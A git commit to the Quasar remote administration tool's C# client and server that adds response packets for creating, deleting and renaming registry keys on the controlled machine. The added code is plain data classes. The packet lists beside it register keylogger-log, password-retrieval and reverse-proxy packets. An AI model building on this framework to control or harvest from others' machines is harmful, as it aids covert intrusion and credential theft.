Added new packets to support Create, Delete and Rename actions of the RegistryKey

This commit is contained in:
StingRaptor 2016-01-21 17:35:22 +01:00
parent d1e8edc56d
commit 8648b3ee1a
10 changed files with 166 additions and 0 deletions

View File

@ -94,8 +94,11 @@
<Compile Include="Core\Cryptography\SHA256.cs" />
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
<Compile Include="Core\Networking\QuasarClient.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />

View File

@ -78,6 +78,9 @@ namespace xClient.Core.Networking
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
using xClient.Core.Registry;
namespace xClient.Core.Packets.ClientPackets
{
[Serializable]
public class GetCreateRegistryKeyResponse : IPacket
{
public string ParentPath { get; set; }
public RegSeekerMatch Match { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetCreateRegistryKeyResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{
[Serializable]
public class GetDeleteRegistryKeyResponse : IPacket
{
public string ParentPath { get; set; }
public string KeyName { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetDeleteRegistryKeyResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{
[Serializable]
public class GetRenameRegistryKeyResponse : IPacket
{
public string ParentPath { get; set; }
public string OldKeyName { get; set; }
public string NewKeyName { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetRenameRegistryKeyResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -125,6 +125,9 @@ namespace xServer.Core.Networking
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
using xServer.Core.Registry;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetCreateRegistryKeyResponse : IPacket
{
public string ParentPath { get; set; }
public RegSeekerMatch Match { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetCreateRegistryKeyResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetDeleteRegistryKeyResponse : IPacket
{
public string ParentPath { get; set; }
public string KeyName { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetDeleteRegistryKeyResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetRenameRegistryKeyResponse : IPacket
{
public string ParentPath { get; set; }
public string OldKeyName { get; set; }
public string NewKeyName { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetRenameRegistryKeyResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -140,7 +140,10 @@
<Compile Include="Core\NetSerializer\TypeSerializers\GenericSerializer.cs" />
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />